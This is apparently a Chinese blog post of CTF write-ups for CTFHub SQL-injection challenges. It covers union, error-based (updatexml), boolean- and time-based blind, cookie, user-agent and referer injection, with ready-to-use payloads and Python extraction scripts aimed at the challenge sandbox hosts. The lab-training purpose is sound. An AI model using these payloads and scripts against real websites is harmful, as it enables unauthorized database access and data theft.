CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入
1,整数型注入
使用burpsuite,?id=1%20and%201=1
id=1的数据依旧出现,证明存在整数型注入
常规做法,查看字段数,回显位置
?id=1%20order%20by%202
字段数为2
?id=1%20and%201=2%20union%20select%201,2
1,2位置都回显,查表名
?id=1%20and%201=2%20union%20select%20group_concat(table_name),2%20from%20information_schema.tables%20where%20table_schema=database()
看到有两个表,继续查flag字段里面的内容
?id=1%20and%201=2%20union%20select%20group_concat(column_name),2%20from%20information_schema.columns%20where%20table_name=%27flag%27
flag表里面存在flag字段
?id=1%20and%201=2%20union%20select%20group_concat(flag),2%20from%20flag
获取flag
2,字符型注入
输入1之后可以看到显示的SQL语句,并且我们的输入是经过单引号包裹的
?id=1' and 1=1--+
可以看到成功闭合了单引号,接下来的注入跟之前差不多
最后的payload为
?id=1' and 1=2 union select group_concat(flag),2 from flag--+
获得flag,字符型注入跟数字型注入的区别就在于引号的闭合
3,报错注入
报错注入是我们通过反馈出来的错误来获取到我们所需要的信息
这里我们使用updataxml函数进行报错注入
1 2 3 4 5 | <code-pre class = "code-pre" id= "pre-GzwzfQ" ><code-line class = "line-numbers-rows" ></code-line>UPDATEXML (XML_document, XPath_string, new_value); <code-line class = "line-numbers-rows" ></code-line>第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc <code-line class = "line-numbers-rows" ></code-line>第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 <code-line class = "line-numbers-rows" ></code-line>第三个参数:new_value,String格式,替换查找到的符合条件的数据 <code-line class = "line-numbers-rows" ></code-line>作用:改变文档中符合条件的节点的值 </code-pre> |
举一个payload:
1 2 | <code-pre class = "code-pre" id= "pre-PdGzH7" ><code-line class = "line-numbers-rows" ></code-line>id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); </code-pre> |
updatexml的报错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据
?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
我们接着注入即可,查询flag的payload为:
?id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));
因为前面两道题都是flag字段,所以这次我直接猜了
但是xpath报错只显示32位结果,很明显显示的flag不完全,我们需要借助mid函数来进行字符截取从而显示32位以后的数据。
?id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));
获得剩下的数据,拿到flag
4,布尔盲注
布尔盲注,只显示你当前的条件是否正确或者错误,例如我们判断字段数 order by 2返回正确,order by 3返回错误
面对布尔盲注,我们想要获取自己想知道的信息时,需要判断信息的每一位的ASCII码,对于返回的信息是否正确,直接观察页面的返回正常与否即可,虽然可以手动判断,但是花费时间过长,但是我使用常规的盲注脚本发现没有出现正常结果。
重新测试一下
可以看到and 1=1和and 1=2返回的都是success,所以我们使用if(expr1,expr2,expr3)函数来盲注
判断语句,当第一条语句是正确就执行第二条语句,不正确就执行第三条语句
我们构造:
1 | <code-pre class = "code-pre" id= "pre-73nxD6" ><code-line class = "line-numbers-rows" ></code-line> if (substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)= "%s" ,1,(select table_name from information_schema.tables))</code-pre> |
求数据库的每一位字母,编写数据库爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 | <code - pre class = "code-pre" id = "pre-wYWGXc" ><code - line class = "line-numbers-rows" >< / code - line> import requests <code - line class = "line-numbers-rows" >< / code - line>url = 'http://challenge-e707c9087d8e56e2.sandbox.ctfhub.com:10080/?id=' <code - line class = "line-numbers-rows" >< / code - line> for i in range ( 0 , 4 ): <code - line class = "line-numbers-rows" >< / code - line> name = '' <code - line class = "line-numbers-rows" >< / code - line> for j in range ( 0 , 10 ): <code - line class = "line-numbers-rows" >< / code - line> for k in '0123456789zaqwsxedcrfvtgbyhnujmikolp_' : <code - line class = "line-numbers-rows" >< / code - line> test_url = url + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (i,j,k) <code - line class = "line-numbers-rows" >< / code - line> rep = requests.get(test_url) <code - line class = "line-numbers-rows" >< / code - line> if 'query_success' in rep.text: <code - line class = "line-numbers-rows" >< / code - line> name = name + k <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> print name < / code - pre> |
盲注出表
1 2 3 4 5 6 7 8 9 10 11 12 13 | <code - pre class = "code-pre" id = "pre-CDZr2T" ><code - line class = "line-numbers-rows" >< / code - line> import requests <code - line class = "line-numbers-rows" >< / code - line>url = 'http://challenge-e707c9087d8e56e2.sandbox.ctfhub.com:10080/?id=' <code - line class = "line-numbers-rows" >< / code - line> for i in range ( 0 , 4 ): <code - line class = "line-numbers-rows" >< / code - line> name = '' <code - line class = "line-numbers-rows" >< / code - line> for j in range ( 0 , 10 ): <code - line class = "line-numbers-rows" >< / code - line> for k in '0123456789zaqwsxedcrfvtgbyhnujmikolp_' : <code - line class = "line-numbers-rows" >< / code - line> test_url = url + "if(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1)='%s',1,(select table_name from information_schema.tables))" % (i,j,k) <code - line class = "line-numbers-rows" >< / code - line> rep = requests.get(test_url) <code - line class = "line-numbers-rows" >< / code - line> if 'query_success' in rep.text: <code - line class = "line-numbers-rows" >< / code - line> name = name + k <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> print name < / code - pre> |
出字段
1 2 3 4 5 6 7 8 9 10 11 12 | <code - pre class = "code-pre" id = "pre-676jhP" ><code - line class = "line-numbers-rows" >< / code - line> import requests <code - line class = "line-numbers-rows" >< / code - line>url = 'http://challenge-57cc506cf0ef8c4b.sandbox.ctfhub.com:10080/?id=' <code - line class = "line-numbers-rows" >< / code - line>name = '' <code - line class = "line-numbers-rows" >< / code - line> for j in range ( 1 , 50 ): <code - line class = "line-numbers-rows" >< / code - line> for i in range ( 48 , 126 ): <code - line class = "line-numbers-rows" >< / code - line> test_url = url + "if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))" % (j,i) <code - line class = "line-numbers-rows" >< / code - line> rep = requests.get(test_url) <code - line class = "line-numbers-rows" >< / code - line> if 'query_success' in rep.text: <code - line class = "line-numbers-rows" >< / code - line> name = name + chr (i) <code - line class = "line-numbers-rows" >< / code - line> print name <code - line class = "line-numbers-rows" >< / code - line> break < / code - pre> |
获得flag
时间盲注
在?id=1 后面添加 and sleep(10)
这个延迟时间测试是否有时间盲注的时候设长一点,因为是手动测试是否有漏洞,为了避免网络的原因让我们漏掉漏洞,sleep(10)之后可以看到网站有明显的延迟,证明时间盲注存在
时间盲注会用到sleep(time)函数,还有if函数
if(1,2,3):如果1真,则执行2,否则执行3
Sleep(x):执行延迟x秒
然后我们先判断数据库的长度和数据库名称,对数据库每一位进行ascii判断即可,这里抄了这位师傅的代码(罪过)https://www.lsablog.com/networksec/penetration/time-based-blind-sqli/,改成了适用于这道题的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | <code - pre class = "code-pre" id = "pre-EwB4Z8" ><code - line class = "line-numbers-rows" >< / code - line> #coding:utf-8 <code - line class = "line-numbers-rows" >< / code - line> #Author:LSA <code - line class = "line-numbers-rows" >< / code - line> #Description:Time based sqli script for sqli-labs less 6 <code - line class = "line-numbers-rows" >< / code - line> #Data:20180108 <code - line class = "line-numbers-rows" >< / code - line> import requests <code - line class = "line-numbers-rows" >< / code - line> import time <code - line class = "line-numbers-rows" >< / code - line> import string <code - line class = "line-numbers-rows" >< / code - line> import sys <code - line class = "line-numbers-rows" >< / code - line>headers = { "user-agent" : "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)" } <code - line class = "line-numbers-rows" >< / code - line>chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' <code - line class = "line-numbers-rows" >< / code - line>database = '' <code - line class = "line-numbers-rows" >< / code - line> global length <code - line class = "line-numbers-rows" >< / code - line> for l in range ( 1 , 20 ): <code - line class = "line-numbers-rows" >< / code - line> lengthUrl = 'http://challenge-c13b65fc664e2e69.sandbox.ctfhub.com:10080/?id=1 and if(length(database())>{0},1,sleep(3))--+' <code - line class = "line-numbers-rows" >< / code - line> lengthUrlFormat = lengthUrl. format (l) <code - line class = "line-numbers-rows" >< / code - line> start_time0 = time.time() <code - line class = "line-numbers-rows" >< / code - line> rsp0 = requests.get(lengthUrlFormat,headers = headers) <code - line class = "line-numbers-rows" >< / code - line> if time.time() - start_time0 > 2.5 : <code - line class = "line-numbers-rows" >< / code - line> print 'database length is ' + str (l) <code - line class = "line-numbers-rows" >< / code - line> global length <code - line class = "line-numbers-rows" >< / code - line> length = l <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> else : <code - line class = "line-numbers-rows" >< / code - line> pass <code - line class = "line-numbers-rows" >< / code - line> for i in range ( 1 ,length + 1 ): <code - line class = "line-numbers-rows" >< / code - line> for char in chars: <code - line class = "line-numbers-rows" >< / code - line> charAscii = ord (char) <code - line class = "line-numbers-rows" >< / code - line> url = 'http://challenge-c13b65fc664e2e69.sandbox.ctfhub.com:10080/?id=1 and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+' <code - line class = "line-numbers-rows" >< / code - line> urlformat = url. format (i,charAscii) <code - line class = "line-numbers-rows" >< / code - line> start_time = time.time() <code - line class = "line-numbers-rows" >< / code - line> rsp = requests.get(urlformat,headers = headers) <code - line class = "line-numbers-rows" >< / code - line> if time.time() - start_time > 2.5 : <code - line class = "line-numbers-rows" >< / code - line> database + = char <code - line class = "line-numbers-rows" >< / code - line> print 'database: ' ,database <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> else : <code - line class = "line-numbers-rows" >< / code - line> pass <code - line class = "line-numbers-rows" >< / code - line> print 'database is ' + database < / code - pre> |
得到数据库长度是4,数据库名称为sqli
在原来代码的基础上修改为盲注表,盲注字段,盲注数据的python脚本,不过按照之前的经验,flag是在flag这个字段里面的,所以直接编写代码查询即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | <code - pre class = "code-pre" id = "pre-C45D7f" ><code - line class = "line-numbers-rows" >< / code - line> # -*- coding: cp936 -*- <code - line class = "line-numbers-rows" >< / code - line> import requests <code - line class = "line-numbers-rows" >< / code - line> import time <code - line class = "line-numbers-rows" >< / code - line> import string <code - line class = "line-numbers-rows" >< / code - line> import sys <code - line class = "line-numbers-rows" >< / code - line>chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+' <code - line class = "line-numbers-rows" >< / code - line>url = "http://challenge-27e6d51e6c1a4014.sandbox.ctfhub.com:10080/?id=1" <code - line class = "line-numbers-rows" >< / code - line> <code - line class = "line-numbers-rows" >< / code - line> <code - line class = "line-numbers-rows" >< / code - line> <code - line class = "line-numbers-rows" >< / code - line> # <code - line class = "line-numbers-rows" >< / code - line> #print("数据表名:",dbname) <code - line class = "line-numbers-rows" >< / code - line> #payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #" <code - line class = "line-numbers-rows" >< / code - line> #print("字段名:",dbname) <code - line class = "line-numbers-rows" >< / code - line> #payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #" <code - line class = "line-numbers-rows" >< / code - line> #print("数据:",dbname) <code - line class = "line-numbers-rows" >< / code - line> <code - line class = "line-numbers-rows" >< / code - line> def get_database(): <code - line class = "line-numbers-rows" >< / code - line> dbname = '' <code - line class = "line-numbers-rows" >< / code - line> print "database:" <code - line class = "line-numbers-rows" >< / code - line> payload = " and if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #" <code - line class = "line-numbers-rows" >< / code - line> for i in range ( 1 , 40 ): <code - line class = "line-numbers-rows" >< / code - line> char = '' <code - line class = "line-numbers-rows" >< / code - line> for x in chars: <code - line class = "line-numbers-rows" >< / code - line> char_ascii = ord (x) <code - line class = "line-numbers-rows" >< / code - line> payloads = payload. format (i,char_ascii) <code - line class = "line-numbers-rows" >< / code - line> start = time.time() <code - line class = "line-numbers-rows" >< / code - line> r = requests.get(url + payloads) <code - line class = "line-numbers-rows" >< / code - line> if (time.time() - start)> = 4 : <code - line class = "line-numbers-rows" >< / code - line> dbname + = x <code - line class = "line-numbers-rows" >< / code - line> print dbname <code - line class = "line-numbers-rows" >< / code - line> char = x <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> if char = = '': <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> def get_table(): <code - line class = "line-numbers-rows" >< / code - line> table_name = '' <code - line class = "line-numbers-rows" >< / code - line> print "table" <code - line class = "line-numbers-rows" >< / code - line> payload = " and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #" <code - line class = "line-numbers-rows" >< / code - line> for i in range ( 1 , 40 ): <code - line class = "line-numbers-rows" >< / code - line> char = '' <code - line class = "line-numbers-rows" >< / code - line> for x in chars: <code - line class = "line-numbers-rows" >< / code - line> char_ascii = ord (x) <code - line class = "line-numbers-rows" >< / code - line> payloads = payload. format (i,char_ascii) <code - line class = "line-numbers-rows" >< / code - line> start = time.time() <code - line class = "line-numbers-rows" >< / code - line> r = requests.get(url + payloads) <code - line class = "line-numbers-rows" >< / code - line> if (time.time() - start)> = 4 : <code - line class = "line-numbers-rows" >< / code - line> table_name + = x <code - line class = "line-numbers-rows" >< / code - line> print table_name <code - line class = "line-numbers-rows" >< / code - line> char = x <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> if char = = '': <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> <code - line class = "line-numbers-rows" >< / code - line> def get_column(): <code - line class = "line-numbers-rows" >< / code - line> column_name = '' <code - line class = "line-numbers-rows" >< / code - line> print "column" <code - line class = "line-numbers-rows" >< / code - line> payload = " and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='news' limit 1,1),{0},1))={1}),sleep(5),1) #" <code - line class = "line-numbers-rows" >< / code - line> for i in range ( 1 , 40 ): <code - line class = "line-numbers-rows" >< / code - line> char = '' <code - line class = "line-numbers-rows" >< / code - line> for x in chars: <code - line class = "line-numbers-rows" >< / code - line> char_ascii = ord (x) <code - line class = "line-numbers-rows" >< / code - line> payloads = payload. format (i,char_ascii) <code - line class = "line-numbers-rows" >< / code - line> start = time.time() <code - line class = "line-numbers-rows" >< / code - line> r = requests.get(url + payloads) <code - line class = "line-numbers-rows" >< / code - line> if (time.time() - start)> = 4 : <code - line class = "line-numbers-rows" >< / code - line> column_name + = x <code - line class = "line-numbers-rows" >< / code - line> print column_name <code - line class = "line-numbers-rows" >< / code - line> char = x <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> if char = = '': <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> <code - line class = "line-numbers-rows" >< / code - line> def get_data(): <code - line class = "line-numbers-rows" >< / code - line> data = '' <code - line class = "line-numbers-rows" >< / code - line> print "data" <code - line class = "line-numbers-rows" >< / code - line> payload = " and if((ascii(substr((select flag from sqli.flag),{0},1))={1}),sleep(5),1)" <code - line class = "line-numbers-rows" >< / code - line> for i in range ( 1 , 40 ): <code - line class = "line-numbers-rows" >< / code - line> char = '' <code - line class = "line-numbers-rows" >< / code - line> for x in chars: <code - line class = "line-numbers-rows" >< / code - line> char_ascii = ord (x) <code - line class = "line-numbers-rows" >< / code - line> payloads = payload. format (i,char_ascii) <code - line class = "line-numbers-rows" >< / code - line> start = time.time() <code - line class = "line-numbers-rows" >< / code - line> r = requests.get(url + payloads) <code - line class = "line-numbers-rows" >< / code - line> if (time.time() - start)> = 4.5 : <code - line class = "line-numbers-rows" >< / code - line> data + = x <code - line class = "line-numbers-rows" >< / code - line> print data <code - line class = "line-numbers-rows" >< / code - line> char = x <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> if char = = '': <code - line class = "line-numbers-rows" >< / code - line> break <code - line class = "line-numbers-rows" >< / code - line> <code - line class = "line-numbers-rows" >< / code - line>get_data() < / code - pre> |
跑个结果慢死人,感觉环境不是很稳定还是我网络的问题,中间有的时候会出问题,脚本出的flag就会出错,脚本没有写错
比如这里的C应该是9,但是因为不知名的原因,C的时候就直接正确了,再用sqlmap跑一遍
验证flag错误的地方,另外想要在盲注源代码的基础上修改,可以更改成二分模式,这样效率更高
MySQL结构
手动进行简单测试(题目写成MYSQL结构我也不知道是啥啊)
and 1=2的时候没有返回结果
and 1=1的时候返回正确结果,数字型注入
这次手工出flag吧,除非批量挖洞,平时少用工具,有的时候自己会养成一种惰性,而且在有狗的情况下,很多时候工具都用不了,还是需要自己手动进行参数测试fuzz,如果基础不扎实的话很容易就懵逼了。
字段数为2
回显位置是1,2
数据库名为sqli
出表名:news,qsppbznbrd
出字段:nhnmftonyj
出结果拿到flag
Cookie注入
题目已经很明显提示了我们,cookie注入,打开burpsuite进行抓包重放
抓包之后可以看到cookie里面有id参数,我们尝试进行注入
进行简单的尝试可以发现还是数字型注入
由于上一道题已经写过数字型注入了,这里就不再赘述,直接出一个结果吧
UA注入
看题目应该是user-agent注入,还是burpsuite进行抓包
跟我们想的一样,既然这里id=后面跟的是我们的user-agent,所以本能反应将user-agent修改成数字1
可以看到返回的结果又跟上一道题类似了,按照前两道题相同的思路做即可
拿到flag
Refer注入
可以看到这道题是refer注入,抓包
告诉我们需要在referer输入ID,我们知道referer是告诉网站我们是从哪个网站来的,这里如果网站对访客的来源网站地址进行了储存且没有过滤的话,就容易出现SQL注入漏洞,这里的SQL注入和前面两道题的SQL注入类似,但是在实战中比较容易遇见,因为这三个部分的储存信息不容易被网站程序编写者重视和发现。
因为网站没有自动加referer,所以我们在burpsuite里面手动添加referer
同时返回包里面出现了我们想看到的数据
继续常规数字型注入拿到flag
总体来说还是挺不错的,但是没有考到注入的过滤和绕过这一类知识,不过也已经很棒了
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/12419200.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!